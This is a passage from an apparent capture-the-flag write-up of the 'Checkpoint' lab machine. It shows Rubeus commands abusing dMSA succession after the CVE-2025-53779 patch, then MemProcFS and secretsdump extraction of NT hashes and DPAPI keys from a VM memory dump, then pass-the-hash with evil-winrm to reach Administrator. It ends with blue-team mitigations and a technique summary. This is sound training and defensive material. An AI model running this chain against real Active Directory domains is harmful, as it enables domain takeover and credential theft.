Step 3, repeat tgtdeleg (the previous TGT may have expired) and request the dMSA’s TGS with /dmsa:
C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
C:\Windows\Temp\Rubeus.exe asktgs /targetuser:evilDmsa2$ /service:krbtgt/checkpoint.htb /dmsa /opsec /nowrap /ticket:<TGT_base64>
[*] Action: Ask TGS
[*] Building DMSA TGS-REQ request for 'evilDmsa2$' from 'ryan.brooks'
[+] Sequence number is: 1854162121
[*] Using domain controller: DC01.checkpoint.htb
[+] TGS request successful!
ServiceName : krbtgt/CHECKPOINT.HTB
UserName : evilDmsa2$ (NT_PRINCIPAL)
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
With the bidirectional link complete (msDS-ManagedAccountPrecededByLink on the dMSA + msDS-SupersededManagedAccountLink/msDS-SupersededServiceAccountState on svc_deploy), the KDC no longer returns KRB_ERR_GENERIC, confirming this was exactly the check added by the CVE-2025-53779 patch. The resulting TGT is for evilDmsa2$, which inherits svc_deploy’s privileges through the “succession” relationship.
Step 4, convert the ticket to .ccache and operate as svc_deploy from Kali:
base64 -d evilDmsa2.b64 > evilDmsa2.kirbi
impacket-ticketConverter evilDmsa2.kirbi evilDmsa2.ccache
export KRB5CCNAME=evilDmsa2.ccache
With this, evilDmsa2$ effectively acts as svc_deploy against domain resources (SMB, etc.), next step: enumerate access (e.g. \\dc01\VMBackups) to reach Administrator/root.txt.
Accessing \\dc01\VMBackups and Memory Forensics With MemProcFS
With evilDmsa2$’s .ccache (svc_deploy’s privileges), netexec reveals read access to a new share:
netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --shares
SMB dc01.checkpoint.htb 445 DC01 [+] checkpoint.htb\evilDmsa2$
SMB dc01.checkpoint.htb 445 DC01 [*] Enumerated shares
SMB dc01.checkpoint.htb 445 DC01 Share Permissions Remark
SMB dc01.checkpoint.htb 445 DC01 ----- ----------- ------
SMB dc01.checkpoint.htb 445 DC01 VMBackups READ
...
Spidering the share reveals a folder that’s basically an explicit hint from the box:
netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --share VMBackups --spider VMBackups
\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem
\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn
...
memory forensics + .vmem (a raw VMware RAM dump) = memory forensics with MemProcFS. The file (~2 GB) is downloaded with netexec --get-file (more reliable than impacket-smbclient with paths containing spaces):
netexec smb dc01.checkpoint.htb -u 'evilDmsa2$' -k --use-kcache --share VMBackups --get-file 'NightlyBackup_2024-11-01/memory forensics/Windows Server 2019-Snapshot1.vmem' /home/jolmedo/checkpoint/snapshot.vmem
Note:
evilDmsa2$’s TGS has a short lifetime. If the download fails withKRB_AP_ERR_TKT_EXPIRED, the ticket needs to be regenerated by repeatingtgtdeleg+asktgs /dmsa(Step 3 of the previous section) and re-converting to.ccache, theSuperseded*attributes already written in AD are persistent, no need to redo them.
Mounting the .vmem with MemProcFS (Linux x64 build from GitHub releases
):
mkdir -p /mnt/memprocfs
sudo ./memprocfs -device /home/jolmedo/checkpoint/snapshot.vmem -mount /mnt/memprocfs -forensic 1
-forensic 1 mode automatically parses the VM’s registry hives and exposes them as .reghive files (a valid hive format) under registry/hive_files/:
sudo ls /mnt/memprocfs/registry/hive_files/
0xffffc30a2fe38000-SYSTEM-MACHINE_SYSTEM.reghive
0xffffc30a32789000-SECURITY-MACHINE_SECURITY.reghive
0xffffc30a3278e000-SAM-MACHINE_SAM.reghive
...
Extracting SAM/SYSTEM/SECURITY and dumping hashes offline with secretsdump:
cd ~/checkpoint
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a2fe38000-SYSTEM-MACHINE_SYSTEM.reghive SYSTEM
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a32789000-SECURITY-MACHINE_SECURITY.reghive SECURITY
sudo cp /mnt/memprocfs/registry/hive_files/0xffffc30a3278e000-SAM-MACHINE_SAM.reghive SAM
sudo chown $USER:$USER SAM SYSTEM SECURITY
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
[*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:28f8d934dee90b2ec824351cb0844479:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd
dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b
[*] NL$KM
NL$KM:0e421c8e384f72e38169dd54e29255fa6c319978314c9e6a7fb9f92606ac7bffeb8a9509446e3a5262b1c2f766b0c353673029e7a3f3776a886970a69ab46f40
[*] Cleaning up...
The local Administrator NT hash from that backup VM (f29e9c014295b9b32139b09a2790be3b) turns out, once again due to credential reuse, to be the same as the domain Administrator’s:
netexec smb dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
SMB dc01.checkpoint.htb 445 DC01 [+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
Direct shell with evil-winrm:
evil-winrm -i dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
C:\Users\Administrator\Desktop only contains desktop.ini (no root.txt). The flag is on another user’s desktop:
Get-ChildItem -Path C:\ -Filter root.txt -Recurse -ErrorAction SilentlyContinue | Select-Object FullName
FullName
--------
C:\Users\max.palmer\Desktop\root.txt
π΄ Root Flag
type C:\Users\max.palmer\Desktop\root.txt
π‘οΈ Mitigations / Blue Team
- Tombstone reanimation: audit and restrict the
Reanimate-Tombstonesextended right, it should be limited to Tier 0, not operational OUs likeEmployees. - BadSuccessor / dMSA (CVE-2025-53779): patch Windows Server 2025 DCs (August 2025 Patch Tuesday), review
CreateChildpermissions on OUs/containers that allow dMSA creation, and restrict control over theSuperseded*/PrecededBy*attributes and account migration to Tier 0. Add SACL auditing on dMSA creation and link-attribute changes on both sides of the relationship. - Password reuse: enforce password policies that prevent shared credentials across accounts (
alex.turner/mark.davies), and monitor for authentications using the same password across different accounts. \\dc01\VMBackups: tighten the share’s ACLs and treat memory/VM dumps as Tier 0 assets, a.vmemexposes NT hashes reusable via pass-the-hash.
π Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | AD permission enumeration with alex.turner’s creds | bloodyAD get writable | WRITE on tombstone Mark Davies + Reanimate-Tombstones on OU=Employees |
| 2 | Reanimating the tombstone object | bloodyAD set restore | mark.davies account restored with its original userAccountControl/password |
| 3 | Password reuse | netexec smb | mark.davies:Checkpoint2024! β RW access to DevDrop |
| 4 | RCE via malicious .vsix extension + vscodesync.ps1 | vsce, smbclient, Penelope | Shell as ryan.brooks + user.txt π© |
| 5 | ACL enumeration with current Kerberos ticket | PowerView (Find-InterestingDomainAcl), bloodyAD get writable | CreateChild on OU=DMSAHolder and full control over CN=svc_deploy (BadSuccessor/Administrator and winPEAS GenericAll/Administrator ruled out as dead ends) |
| 6 | Post-patch BadSuccessor (BetterSuccessor): dMSA evilDmsa2 bidirectionally paired with svc_deploy (msDS-SupersededManagedAccountLink/msDS-SupersededServiceAccountState via bloodyAD) | BadSuccessor.exe, Rubeus (tgtdeleg+asktgs /dmsa), bloodyAD, impacket-ticketConverter | TGT for evilDmsa2$ with svc_deploy’s privileges |
| 7 | Access to \\dc01\VMBackups as svc_deploy β downloaded Windows Server 2019-Snapshot1.vmem (the “memory forensics” folder) | netexec --spider/--get-file | Memory dump of a backup VM |
| 8 | Offline memory forensics: mounting the .vmem and extracting the SAM/SYSTEM/SECURITY hives | MemProcFS (-forensic 1), impacket-secretsdump | Local Administrator NT hash (f29e9c014295b9b32139b09a2790be3b), reused in the next step |
| 9 | Pass-the-hash with the backup VM’s local Administrator NT hash, also valid for the domain Administrator (credential reuse) | netexec, evil-winrm | Shell as Administrator + root.txt (C:\Users\max.palmer\Desktop\root.txt) π΄ |
See you in the next challenge.
